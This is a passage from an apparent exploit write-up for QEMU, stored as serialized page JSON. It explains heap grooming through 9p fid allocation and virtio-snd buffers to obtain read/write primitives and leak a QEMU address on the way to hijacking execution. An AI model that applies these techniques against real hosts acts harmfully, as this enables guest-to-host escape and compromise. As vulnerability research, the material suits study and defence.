",{"type":24,"tag":156,"props":132302,"children":132304},{"className":132303},[],[132305],{"type":30,"value":132204},{"type":30,"value":132307},". Once ",{"type":24,"tag":156,"props":132309,"children":132311},{"className":132310},[],[132312],{"type":30,"value":131773},{"type":30,"value":132314}," is freed, it is inserted into the ",{"type":24,"tag":156,"props":132316,"children":132318},{"className":132317},[],[132319],{"type":30,"value":132284},{"type":30,"value":132321}," tcache bin.",{"type":24,"tag":920,"props":132323,"children":132325},{"code":132324},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[132326],{"type":24,"tag":156,"props":132327,"children":132328},{"__ignoreMap":7},[132329],{"type":30,"value":132324},{"type":24,"tag":33,"props":132331,"children":132332},{},[132333,132335,132340,132342,132348,132350,132356,132358,132363],{"type":30,"value":132334},"After that, we can simply allocate a new ",{"type":24,"tag":156,"props":132336,"children":132338},{"className":132337},[],[132339],{"type":30,"value":132204},{"type":30,"value":132341}," with a ",{"type":24,"tag":156,"props":132343,"children":132345},{"className":132344},[],[132346],{"type":30,"value":132347},"P9_TWALK",{"type":30,"value":132349}," request and a fresh FID - this reaches ",{"type":24,"tag":156,"props":132351,"children":132353},{"className":132352},[],[132354],{"type":30,"value":132355},"alloc_fid",{"type":30,"value":132357},", which allocates a new ",{"type":24,"tag":156,"props":132359,"children":132361},{"className":132360},[],[132362],{"type":30,"value":132204},{"type":30,"value":476},{"type":24,"tag":920,"props":132365,"children":132367},{"code":132366,"language":6268,"meta":7,"className":19616,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[132368],{"type":24,"tag":156,"props":132369,"children":132370},{"__ignoreMap":7},[132371,132411,132418,132434,132462,132469,132476,132483,132504,132511,132526,132548,132572,132593,132604,132611,132649,132691,132698,132705,132712,132719,132726,132777,132784,132799,132806,132854,132866,132874,132903,132918,132925,132954,132961],{"type":24,"tag":930,"props":132372,"children":132373},{"class":932,"line":933},[132374,132378,132382,132386,132391,132395,132399,132403,132407],{"type":24,"tag":930,"props":132375,"children":132376},{"style":937},[132377],{"type":30,"value":54133},{"type":24,"tag":930,"props":132379,"children":132380},{"style":937},[132381],{"type":30,"value":54138},{"type":24,"tag":930,"props":132383,"children":132384},{"style":959},[132385],{"type":30,"value":130372},{"type":24,"tag":930,"props":132387,"children":132388},{"style":1002},[132389],{"type":30,"value":132390},"v9fs_walk",{"type":24,"tag":930,"props":132392,"children":132393},{"style":959},[132394],{"type":30,"value":1010},{"type":24,"tag":930,"props":132396,"children":132397},{"style":937},[132398],{"type":30,"value":54716},{"type":24,"tag":930,"props":132400,"children":132401},{"style":1158},[132402],{"type":30,"value":12924},{"type":24,"tag":930,"props":132404,"children":132405},{"style":1023},[132406],{"type":30,"value":130394},{"type":24,"tag":930,"props":132408,"children":132409},{"style":959},[132410],{"type":30,"value":1054},{"type":24,"tag":930,"props":132412,"children":132413},{"class":932,"line":984},[132414],{"type":24,"tag":930,"props":132415,"children":132416},{"style":959},[132417],{"type":30,"value":13987},{"type":24,"tag":930,"props":132419,"children":132420},{"class":932,"line":993},[132421,132425,132429],{"type":24,"tag":930,"props":132422,"children":132423},{"style":959},[132424],{"type":30,"value":130519},{"type":24,"tag":930,"props":132426,"children":132427},{"style":1158},[132428],{"type":30,"value":1410},{"type":24,"tag":930,"props":132430,"children":132431},{"style":959},[132432],{"type":30,"value":132433},"fidp;\n",{"type":24,"tag":930,"props":132435,"children":132436},{"class":932,"line":1057},[132437,132441,132445,132450,132454,132458],{"type":24,"tag":930,"props":132438,"children":132439},{"style":959},[132440],{"type":30,"value":130519},{"type":24,"tag":930,"props":132442,"children":132443},{"style":1158},[132444],{"type":30,"value":1410},{"type":24,"tag":930,"props":132446,"children":132447},{"style":959},[132448],{"type":30,"value":132449},"newfidp ",{"type":24,"tag":930,"props":132451,"children":132452},{"style":1158},[132453],{"type":30,"value":1161},{"type":24,"tag":930,"props":132455,"children":132456},{"style":937},[132457],{"type":30,"value":130198},{"type":24,"tag":930,"props":132459,"children":132460},{"style":959},[132461],{"type":30,"value":5539},{"type":24,"tag":930,"props":132463,"children":132464},{"class":932,"line":1066},[132465],{"type":24,"tag":930,"props":132466,"children":132467},{"emptyLinePlaceholder":16},[132468],{"type":30,"value":2412},{"type":24,"tag":930,"props":132470,"children":132471},{"class":932,"line":1075},[132472],{"type":24,"tag":930,"props":132473,"children":132474},{"style":959},[132475],{"type":30,"value":2923},{"type":24,"tag":930,"props":132477,"children":132478},{"class":932,"line":1122},[132479],{"type":24,"tag":930,"props":132480,"children":132481},{"emptyLinePlaceholder":16},[132482],{"type":30,"value":2412},{"type":24,"tag":930,"props":132484,"children":132485},{"class":932,"line":1131},[132486,132490,132495,132499],{"type":24,"tag":930,"props":132487,"children":132488},{"style":1079},[132489],{"type":30,"value":15386},{"type":24,"tag":930,"props":132491,"children":132492},{"style":959},[132493],{"type":30,"value":132494}," (fid ",{"type":24,"tag":930,"props":132496,"children":132497},{"style":1158},[132498],{"type":30,"value":1239},{"type":24,"tag":930,"props":132500,"children":132501},{"style":959},[132502],{"type":30,"value":132503}," newfid) {\n",{"type":24,"tag":930,"props":132505,"children":132506},{"class":932,"line":1144},[132507],{"type":24,"tag":930,"props":132508,"children":132509},{"style":959},[132510],{"type":30,"value":126467},{"type":24,"tag":930,"props":132512,"children":132513},{"class":932,"line":1169},[132514,132518,132522],{"type":24,"tag":930,"props":132515,"children":132516},{"style":959},[132517],{"type":30,"value":18882},{"type":24,"tag":930,"props":132519,"children":132520},{"style":1079},[132521],{"type":30,"value":2317},{"type":24,"tag":930,"props":132523,"children":132524},{"style":959},[132525],{"type":30,"value":981},{"type":24,"tag":930,"props":132527,"children":132528},{"class":932,"line":1191},[132529,132534,132538,132543],{"type":24,"tag":930,"props":132530,"children":132531},{"style":959},[132532],{"type":30,"value":132533},"        newfidp ",{"type":24,"tag":930,"props":132535,"children":132536},{"style":1158},[132537],{"type":30,"value":1161},{"type":24,"tag":930,"props":132539,"children":132540},{"style":1002},[132541],{"type":30,"value":132542}," alloc_fid",{"type":24,"tag":930,"props":132544,"children":132545},{"style":959},[132546],{"type":30,"value":132547},"(s, newfid);\n",{"type":24,"tag":930,"props":132549,"children":132550},{"class":932,"line":1223},[132551,132555,132560,132564,132568],{"type":24,"tag":930,"props":132552,"children":132553},{"style":1079},[132554],{"type":30,"value":3290},{"type":24,"tag":930,"props":132556,"children":132557},{"style":959},[132558],{"type":30,"value":132559}," (newfidp ",{"type":24,"tag":930,"props":132561,"children":132562},{"style":1158},[132563],{"type":30,"value":1239},{"type":24,"tag":930,"props":132565,"children":132566},{"style":937},[132567],{"type":30,"value":130198},{"type":24,"tag":930,"props":132569,"children":132570},{"style":959},[132571],{"type":30,"value":1503},{"type":24,"tag":930,"props":132573,"children":132574},{"class":932,"line":1281},[132575,132580,132584,132588],{"type":24,"tag":930,"props":132576,"children":132577},{"style":959},[132578],{"type":30,"value":132579},"            err ",{"type":24,"tag":930,"props":132581,"children":132582},{"style":1158},[132583],{"type":30,"value":1161},{"type":24,"tag":930,"props":132585,"children":132586},{"style":1158},[132587],{"type":30,"value":54344},{"type":24,"tag":930,"props":132589,"children":132590},{"style":959},[132591],{"type":30,"value":132592},"EINVAL;\n",{"type":24,"tag":930,"props":132594,"children":132595},{"class":932,"line":1313},[132596,132600],{"type":24,"tag":930,"props":132597,"children":132598},{"style":1079},[132599],{"type":30,"value":63636},{"type":24,"tag":930,"props":132601,"children":132602},{"style":959},[132603],{"type":30,"value":63641},{"type":24,"tag":930,"props":132605,"children":132606},{"class":932,"line":1335},[132607],{"type":24,"tag":930,"props":132608,"children":132609},{"style":959},[132610],{"type":30,"value":1831},{"type":24,"tag":930,"props":132612,"children":132613},{"class":932,"line":1376},[132614,132619,132623,132628,132632,132637,132641,132645],{"type":24,"tag":930,"props":132615,"children":132616},{"style":1023},[132617],{"type":30,"value":132618},"        newfidp",{"type":24,"tag":930,"props":132620,"children":132621},{"style":959},[132622],{"type":30,"value":16864},{"type":24,"tag":930,"props":132624,"children":132625},{"style":1023},[132626],{"type":30,"value":132627},"uid",{"type":24,"tag":930,"props":132629,"children":132630},{"style":1158},[132631],{"type":30,"value":6137},{"type":24,"tag":930,"props":132633,"children":132634},{"style":1023},[132635],{"type":30,"value":132636}," fidp",{"type":24,"tag":930,"props":132638,"children":132639},{"style":959},[132640],{"type":30,"value":16864},{"type":24,"tag":930,"props":132642,"children":132643},{"style":1023},[132644],{"type":30,"value":132627},{"type":24,"tag":930,"props":132646,"children":132647},{"style":959},[132648],{"type":30,"value":5539},{"type":24,"tag":930,"props":132650,"children":132651},{"class":932,"line":1418},[132652,132657,132661,132665,132670,132674,132678,132682,132686],{"type":24,"tag":930,"props":132653,"children":132654},{"style":1002},[132655],{"type":30,"value":132656},"        v9fs_path_copy",{"type":24,"tag":930,"props":132658,"children":132659},{"style":959},[132660],{"type":30,"value":1010},{"type":24,"tag":930,"props":132662,"children":132663},{"style":1158},[132664],{"type":30,"value":6230},{"type":24,"tag":930,"props":132666,"children":132667},{"style":1023},[132668],{"type":30,"value":132669},"newfidp",{"type":24,"tag":930,"props":132671,"children":132672},{"style":959},[132673],{"type":30,"value":16864},{"type":24,"tag":930,"props":132675,"children":132676},{"style":1023},[132677],{"type":30,"value":114752},{"type":24,"tag":930,"props":132679,"children":132680},{"style":959},[132681],{"type":30,"value":962},{"type":24,"tag":930,"props":132683,"children":132684},{"style":1158},[132685],{"type":30,"value":6230},{"type":24,"tag":930,"props":132687,"children":132688},{"style":959},[132689],{"type":30,"value":132690},"path);\n",{"type":24,"tag":930,"props":132692,"children":132693},{"class":932,"line":1438},[132694],{"type":24,"tag":930,"props":132695,"children":132696},{"style":959},[132697],{"type":30,"value":1840},{"type":24,"tag":930,"props":132699,"children":132700},{"class":932,"line":1479},[132701],{"type":24,"tag":930,"props":132702,"children":132703},{"emptyLinePlaceholder":16},[132704],{"type":30,"value":2412},{"type":24,"tag":930,"props":132706,"children":132707},{"class":932,"line":1506},[132708],{"type":24,"tag":930,"props":132709,"children":132710},{"style":959},[132711],{"type":30,"value":2923},{"type":24,"tag":930,"props":132713,"children":132714},{"class":932,"line":1525},[132715],{"type":24,"tag":930,"props":132716,"children":132717},{"style":959},[132718],{"type":30,"value":2528},{"type":24,"tag":930,"props":132720,"children":132721},{"class":932,"line":1569},[132722],{"type":24,"tag":930,"props":132723,"children":132724},{"emptyLinePlaceholder":16},[132725],{"type":30,"value":2412},{"type":24,"tag":930,"props":132727,"children":132728},{"class":932,"line":1592},[132729,132733,132738,132742,132746,132751,132755,132759,132763,132768,132773],{"type":24,"tag":930,"props":132730,"children":132731},{"style":937},[132732],{"type":30,"value":54133},{"type":24,"tag":930,"props":132734,"children":132735},{"style":959},[132736],{"type":30,"value":132737}," V9fsFidState ",{"type":24,"tag":930,"props":132739,"children":132740},{"style":1158},[132741],{"type":30,"value":1410},{"type":24,"tag":930,"props":132743,"children":132744},{"style":1002},[132745],{"type":30,"value":132355},{"type":24,"tag":930,"props":132747,"children":132748},{"style":959},[132749],{"type":30,"value":132750},"(V9fsState ",{"type":24,"tag":930,"props":132752,"children":132753},{"style":1158},[132754],{"type":30,"value":1410},{"type":24,"tag":930,"props":132756,"children":132757},{"style":1023},[132758],{"type":30,"value":13758},{"type":24,"tag":930,"props":132760,"children":132761},{"style":959},[132762],{"type":30,"value":962},{"type":24,"tag":930,"props":132764,"children":132765},{"style":937},[132766],{"type":30,"value":132767},"int32_t",{"type":24,"tag":930,"props":132769,"children":132770},{"style":1023},[132771],{"type":30,"value":132772}," fid",{"type":24,"tag":930,"props":132774,"children":132775},{"style":959},[132776],{"type":30,"value":1054},{"type":24,"tag":930,"props":132778,"children":132779},{"class":932,"line":1610},[132780],{"type":24,"tag":930,"props":132781,"children":132782},{"style":959},[132783],{"type":30,"value":13987},{"type":24,"tag":930,"props":132785,"children":132786},{"class":932,"line":1628},[132787,132791,132795],{"type":24,"tag":930,"props":132788,"children":132789},{"style":959},[132790],{"type":30,"value":130519},{"type":24,"tag":930,"props":132792,"children":132793},{"style":1158},[132794],{"type":30,"value":1410},{"type":24,"tag":930,"props":132796,"children":132797},{"style":959},[132798],{"type":30,"value":54254},{"type":24,"tag":930,"props":132800,"children":132801},{"class":932,"line":1637},[132802],{"type":24,"tag":930,"props":132803,"children":132804},{"emptyLinePlaceholder":16},[132805],{"type":30,"value":2412},{"type":24,"tag":930,"props":132807,"children":132808},{"class":932,"line":1646},[132809,132814,132818,132823,132827,132831,132835,132840,132844,132849],{"type":24,"tag":930,"props":132810,"children":132811},{"style":959},[132812],{"type":30,"value":132813},"    f ",{"type":24,"tag":930,"props":132815,"children":132816},{"style":1158},[132817],{"type":30,"value":1161},{"type":24,"tag":930,"props":132819,"children":132820},{"style":1002},[132821],{"type":30,"value":132822}," g_hash_table_lookup",{"type":24,"tag":930,"props":132824,"children":132825},{"style":959},[132826],{"type":30,"value":1010},{"type":24,"tag":930,"props":132828,"children":132829},{"style":1023},[132830],{"type":30,"value":13758},{"type":24,"tag":930,"props":132832,"children":132833},{"style":959},[132834],{"type":30,"value":16864},{"type":24,"tag":930,"props":132836,"children":132837},{"style":1023},[132838],{"type":30,"value":132839},"fids",{"type":24,"tag":930,"props":132841,"children":132842},{"style":959},[132843],{"type":30,"value":962},{"type":24,"tag":930,"props":132845,"children":132846},{"style":1002},[132847],{"type":30,"value":132848},"GINT_TO_POINTER",{"type":24,"tag":930,"props":132850,"children":132851},{"style":959},[132852],{"type":30,"value":132853},"(fid));\n",{"type":24,"tag":930,"props":132855,"children":132856},{"class":932,"line":1673},[132857,132861],{"type":24,"tag":930,"props":132858,"children":132859},{"style":1079},[132860],{"type":30,"value":15386},{"type":24,"tag":930,"props":132862,"children":132863},{"style":959},[132864],{"type":30,"value":132865}," (f) {\n",{"type":24,"tag":930,"props":132867,"children":132868},{"class":932,"line":1692},[132869],{"type":24,"tag":930,"props":132870,"children":132871},{"style":1422},[132872],{"type":30,"value":132873},"        /* If fid is already there return NULL */\n",{"type":24,"tag":930,"props":132875,"children":132876},{"class":932,"line":1730},[132877,132882,132886,132890,132894,132899],{"type":24,"tag":930,"props":132878,"children":132879},{"style":1002},[132880],{"type":30,"value":132881},"        BUG_ON",{"type":24,"tag":930,"props":132883,"children":132884},{"style":959},[132885],{"type":30,"value":1010},{"type":24,"tag":930,"props":132887,"children":132888},{"style":1023},[132889],{"type":30,"value":36173},{"type":24,"tag":930,"props":132891,"children":132892},{"style":959},[132893],{"type":30,"value":16864},{"type":24,"tag":930,"props":132895,"children":132896},{"style":1023},[132897],{"type":30,"value":132898},"clunked",{"type":24,"tag":930,"props":132900,"children":132901},{"style":959},[132902],{"type":30,"value":1278},{"type":24,"tag":930,"props":132904,"children":132905},{"class":932,"line":1762},[132906,132910,132914],{"type":24,"tag":930,"props":132907,"children":132908},{"style":1079},[132909],{"type":30,"value":18847},{"type":24,"tag":930,"props":132911,"children":132912},{"style":937},[132913],{"type":30,"value":130198},{"type":24,"tag":930,"props":132915,"children":132916},{"style":959},[132917],{"type":30,"value":5539},{"type":24,"tag":930,"props":132919,"children":132920},{"class":932,"line":1775},[132921],{"type":24,"tag":930,"props":132922,"children":132923},{"style":959},[132924],{"type":30,"value":1840},{"type":24,"tag":930,"props":132926,"children":132927},{"class":932,"line":1825},[132928,132932,132936,132941,132946,132950],{"type":24,"tag":930,"props":132929,"children":132930},{"style":959},[132931],{"type":30,"value":132813},{"type":24,"tag":930,"props":132933,"children":132934},{"style":1158},[132935],{"type":30,"value":1161},{"type":24,"tag":930,"props":132937,"children":132938},{"style":1002},[132939],{"type":30,"value":132940}," g_new0",{"type":24,"tag":930,"props":132942,"children":132943},{"style":959},[132944],{"type":30,"value":132945},"(V9fsFidState, ",{"type":24,"tag":930,"props":132947,"children":132948},{"style":1242},[132949],{"type":30,"value":7129},{"type":24,"tag":930,"props":132951,"children":132952},{"style":959},[132953],{"type":30,"value":1278},{"type":24,"tag":930,"props":132955,"children":132956},{"class":932,"line":1834},[132957],{"type":24,"tag":930,"props":132958,"children":132959},{"emptyLinePlaceholder":16},[132960],{"type":30,"value":2412},{"type":24,"tag":930,"props":132962,"children":132963},{"class":932,"line":1843},[132964],{"type":24,"tag":930,"props":132965,"children":132966},{"style":959},[132967],{"type":30,"value":2923},{"type":24,"tag":33,"props":132969,"children":132970},{},[132971,132973,132978],{"type":30,"value":132972},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":156,"props":132974,"children":132976},{"className":132975},[],[132977],{"type":30,"value":131773},{"type":30,"value":131110},{"type":24,"tag":920,"props":132980,"children":132982},{"code":132981},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[132983],{"type":24,"tag":156,"props":132984,"children":132985},{"__ignoreMap":7},[132986],{"type":30,"value":132981},{"type":24,"tag":21995,"props":132988,"children":132990},{"id":132989},"leaking-a-qemu-address",[132991],{"type":30,"value":132992},"Leaking a QEMU Address",{"type":24,"tag":33,"props":132994,"children":132995},{},[132996],{"type":30,"value":132997},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":33,"props":132999,"children":133000},{},[133001,133003,133008],{"type":30,"value":133002},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":156,"props":133004,"children":133006},{"className":133005},[],[133007],{"type":30,"value":126193},{"type":30,"value":476},{"type":24,"tag":920,"props":133010,"children":133012},{"code":133011,"language":6268,"meta":7,"className":19616,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[133013],{"type":24,"tag":156,"props":133014,"children":133015},{"__ignoreMap":7},[133016,133059,133066,133097,133112,133127,133139,133152,133159,133166,133173,133184,133199,133206,133234,133253,133264,133271,133279,133316,133337,133349,133362,133375,133401,133413,133420,133458,133465,133472,133479,133510,133565,133577,133618,133641,133670,133697,133724,133756],{"type":24,"tag":930,"props":133017,"children":133018},{"class":932,"line":933},[133019,133023,133027,133031,133035,133039,133043,133047,133051,133055],{"type":24,"tag":930,"props":133020,"children":133021},{"style":937},[133022],{"type":30,"value":54133},{"type":24,"tag":930,"props":133024,"children":133025},{"style":937},[133026],{"type":30,"value":54138},{"type":24,"tag":930,"props":133028,"children":133029},{"style":1002},[133030],{"type":30,"value":126272},{"type":24,"tag":930,"props":133032,"children":133033},{"style":959},[133034],{"type":30,"value":126277},{"type":24,"tag":930,"props":133036,"children":133037},{"style":1158},[133038],{"type":30,"value":1410},{"type":24,"tag":930,"props":133040,"children":133041},{"style":1023},[133042],{"type":30,"value":126286},{"type":24,"tag":930,"props":133044,"children":133045},{"style":959},[133046],{"type":30,"value":126291},{"type":24,"tag":930,"props":133048,"children":133049},{"style":1158},[133050],{"type":30,"value":1410},{"type":24,"tag":930,"props":133052,"children":133053},{"style":1023},[133054],{"type":30,"value":126300},{"type":24,"tag":930,"props":133056,"children":133057},{"style":959},[133058],{"type":30,"value":1054},{"type":24,"tag":930,"props":133060,"children":133061},{"class":932,"line":984},[133062],{"type":24,"tag":930,"props":133063,"children":133064},{"style":959},[133065],{"type":30,"value":13987},{"type":24,"tag":930,"props":133067,"children":133068},{"class":932,"line":993},[133069,133074,133078,133083,133087,133092],{"type":24,"tag":930,"props":133070,"children":133071},{"style":959},[133072],{"type":30,"value":133073},"    VirtIOSound ",{"type":24,"tag":930,"props":133075,"children":133076},{"style":1158},[133077],{"type":30,"value":1410},{"type":24,"tag":930,"props":133079,"children":133080},{"style":959},[133081],{"type":30,"value":133082},"vsnd ",{"type":24,"tag":930,"props":133084,"children":133085},{"style":1158},[133086],{"type":30,"value":1161},{"type":24,"tag":930,"props":133088,"children":133089},{"style":1002},[133090],{"type":30,"value":133091}," VIRTIO_SND",{"type":24,"tag":930,"props":133093,"children":133094},{"style":959},[133095],{"type":30,"value":133096},"(vdev);\n",{"type":24,"tag":930,"props":133098,"children":133099},{"class":932,"line":1057},[133100,133104,133108],{"type":24,"tag":930,"props":133101,"children":133102},{"style":959},[133103],{"type":30,"value":127290},{"type":24,"tag":930,"props":133105,"children":133106},{"style":1158},[133107],{"type":30,"value":1410},{"type":24,"tag":930,"props":133109,"children":133110},{"style":959},[133111],{"type":30,"value":127299},{"type":24,"tag":930,"props":133113,"children":133114},{"class":932,"line":1066},[133115,133119,133123],{"type":24,"tag":930,"props":133116,"children":133117},{"style":959},[133118],{"type":30,"value":126319},{"type":24,"tag":930,"props":133120,"children":133121},{"style":1158},[133122],{"type":30,"value":1410},{"type":24,"tag":930,"props":133124,"children":133125},{"style":959},[133126],{"type":30,"value":126328},{"type":24,"tag":930,"props":133128,"children":133129},{"class":932,"line":1075},[133130,133134],{"type":24,"tag":930,"props":133131,"children":133132},{"style":937},[133133],{"type":30,"value":19666},{"type":24,"tag":930,"props":133135,"children":133136},{"style":959},[133137],{"type":30,"value":133138}," msg_sz, size;\n",{"type":24,"tag":930,"props":133140,"children":133141},{"class":932,"line":1122},[133142,133147],{"type":24,"tag":930,"props":133143,"children":133144},{"style":937},[133145],{"type":30,"value":133146},"    uint32_t",{"type":24,"tag":930,"props":133148,"children":133149},{"style":959},[133150],{"type":30,"value":133151}," stream_id;\n",{"type":24,"tag":930,"props":133153,"children":133154},{"class":932,"line":1131},[133155],{"type":24,"tag":930,"props":133156,"children":133157},{"emptyLinePlaceholder":16},[133158],{"type":30,"value":2412},{"type":24,"tag":930,"props":133160,"children":133161},{"class":932,"line":1144},[133162],{"type":24,"tag":930,"props":133163,"children":133164},{"style":959},[133165],{"type":30,"value":2923},{"type":24,"tag":930,"props":133167,"children":133168},{"class":932,"line":1169},[133169],{"type":24,"tag":930,"props":133170,"children":133171},{"emptyLinePlaceholder":16},[133172],{"type":30,"value":2412},{"type":24,"tag":930,"props":133174,"children":133175},{"class":932,"line":1191},[133176,133180],{"type":24,"tag":930,"props":133177,"children":133178},{"style":1079},[133179],{"type":30,"value":6154},{"type":24,"tag":930,"props":133181,"children":133182},{"style":959},[133183],{"type":30,"value":126354},{"type":24,"tag":930,"props":133185,"children":133186},{"class":932,"line":1223},[133187,133191,133195],{"type":24,"tag":930,"props":133188,"children":133189},{"style":959},[133190],{"type":30,"value":126362},{"type":24,"tag":930,"props":133192,"children":133193},{"style":1158},[133194],{"type":30,"value":1410},{"type":24,"tag":930,"props":133196,"children":133197},{"style":959},[133198],{"type":30,"value":126371},{"type":24,"tag":930,"props":133200,"children":133201},{"class":932,"line":1281},[133202],{"type":24,"tag":930,"props":133203,"children":133204},{"emptyLinePlaceholder":16},[133205],{"type":30,"value":2412},{"type":24,"tag":930,"props":133207,"children":133208},{"class":932,"line":1313},[133209,133213,133217,133221,133225,133229],{"type":24,"tag":930,"props":133210,"children":133211},{"style":959},[133212],{"type":30,"value":126386},{"type":24,"tag":930,"props":133214,"children":133215},{"style":1158},[133216],{"type":30,"value":1161},{"type":24,"tag":930,"props":133218,"children":133219},{"style":1002},[133220],{"type":30,"value":126395},{"type":24,"tag":930,"props":133222,"children":133223},{"style":959},[133224],{"type":30,"value":126400},{"type":24,"tag":930,"props":133226,"children":133227},{"style":937},[133228],{"type":30,"value":58417},{"type":24,"tag":930,"props":133230,"children":133231},{"style":959},[133232],{"type":30,"value":133233},"(VirtQueueElement));\n",{"type":24,"tag":930,"props":133235,"children":133236},{"class":932,"line":1335},[133237,133241,133245,133249],{"type":24,"tag":930,"props":133238,"children":133239},{"style":1079},[133240],{"type":30,"value":3290},{"type":24,"tag":930,"props":133242,"children":133243},{"style":959},[133244],{"type":30,"value":1087},{"type":24,"tag":930,"props":133246,"children":133247},{"style":1158},[133248],{"type":30,"value":3299},{"type":24,"tag":930,"props":133250,"children":133251},{"style":959},[133252],{"type":30,"value":126434},{"type":24,"tag":930,"props":133254,"children":133255},{"class":932,"line":1376},[133256,133260],{"type":24,"tag":930,"props":133257,"children":133258},{"style":1079},[133259],{"type":30,"value":6418},{"type":24,"tag":930,"props":133261,"children":133262},{"style":959},[133263],{"type":30,"value":5539},{"type":24,"tag":930,"props":133265,"children":133266},{"class":932,"line":1418},[133267],{"type":24,"tag":930,"props":133268,"children":133269},{"style":959},[133270],{"type":30,"value":1831},{"type":24,"tag":930,"props":133272,"children":133273},{"class":932,"line":1438},[133274],{"type":24,"tag":930,"props":133275,"children":133276},{"style":1422},[133277],{"type":30,"value":133278},"        /* get the message hdr object */\n",{"type":24,"tag":930,"props":133280,"children":133281},{"class":932,"line":1479},[133282,133287,133291,133296,133300,133304,133308,133312],{"type":24,"tag":930,"props":133283,"children":133284},{"style":959},[133285],{"type":30,"value":133286},"        msg_sz ",{"type":24,"tag":930,"props":133288,"children":133289},{"style":1158},[133290],{"type":30,"value":1161},{"type":24,"tag":930,"props":133292,"children":133293},{"style":1002},[133294],{"type":30,"value":133295}," iov_to_buf",{"type":24,"tag":930,"props":133297,"children":133298},{"style":959},[133299],{"type":30,"value":1010},{"type":24,"tag":930,"props":133301,"children":133302},{"style":1023},[133303],{"type":30,"value":55153},{"type":24,"tag":930,"props":133305,"children":133306},{"style":959},[133307],{"type":30,"value":16864},{"type":24,"tag":930,"props":133309,"children":133310},{"style":1023},[133311],{"type":30,"value":126838},{"type":24,"tag":930,"props":133313,"children":133314},{"style":959},[133315],{"type":30,"value":2832},{"type":24,"tag":930,"props":133317,"children":133318},{"class":932,"line":1506},[133319,133324,133328,133333],{"type":24,"tag":930,"props":133320,"children":133321},{"style":1023},[133322],{"type":30,"value":133323},"                            elem",{"type":24,"tag":930,"props":133325,"children":133326},{"style":959},[133327],{"type":30,"value":16864},{"type":24,"tag":930,"props":133329,"children":133330},{"style":1023},[133331],{"type":30,"value":133332},"out_num",{"type":24,"tag":930,"props":133334,"children":133335},{"style":959},[133336],{"type":30,"value":2832},{"type":24,"tag":930,"props":133338,"children":133339},{"class":932,"line":1525},[133340,133345],{"type":24,"tag":930,"props":133341,"children":133342},{"style":1242},[133343],{"type":30,"value":133344},"                            0",{"type":24,"tag":930,"props":133346,"children":133347},{"style":959},[133348],{"type":30,"value":2832},{"type":24,"tag":930,"props":133350,"children":133351},{"class":932,"line":1569},[133352,133357],{"type":24,"tag":930,"props":133353,"children":133354},{"style":1158},[133355],{"type":30,"value":133356},"                            &",{"type":24,"tag":930,"props":133358,"children":133359},{"style":959},[133360],{"type":30,"value":133361},"hdr,\n",{"type":24,"tag":930,"props":133363,"children":133364},{"class":932,"line":1592},[133365,133370],{"type":24,"tag":930,"props":133366,"children":133367},{"style":937},[133368],{"type":30,"value":133369},"                            sizeof",{"type":24,"tag":930,"props":133371,"children":133372},{"style":959},[133373],{"type":30,"value":133374},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":930,"props":133376,"children":133377},{"class":932,"line":1610},[133378,133382,133387,133391,133396],{"type":24,"tag":930,"props":133379,"children":133380},{"style":1079},[133381],{"type":30,"value":3290},{"type":24,"tag":930,"props":133383,"children":133384},{"style":959},[133385],{"type":30,"value":133386}," (msg_sz ",{"type":24,"tag":930,"props":133388,"children":133389},{"style":1158},[133390],{"type":30,"value":4681},{"type":24,"tag":930,"props":133392,"children":133393},{"style":937},[133394],{"type":30,"value":133395}," sizeof",{"type":24,"tag":930,"props":133397,"children":133398},{"style":959},[133399],{"type":30,"value":133400},"(virtio_snd_pcm_xfer)) 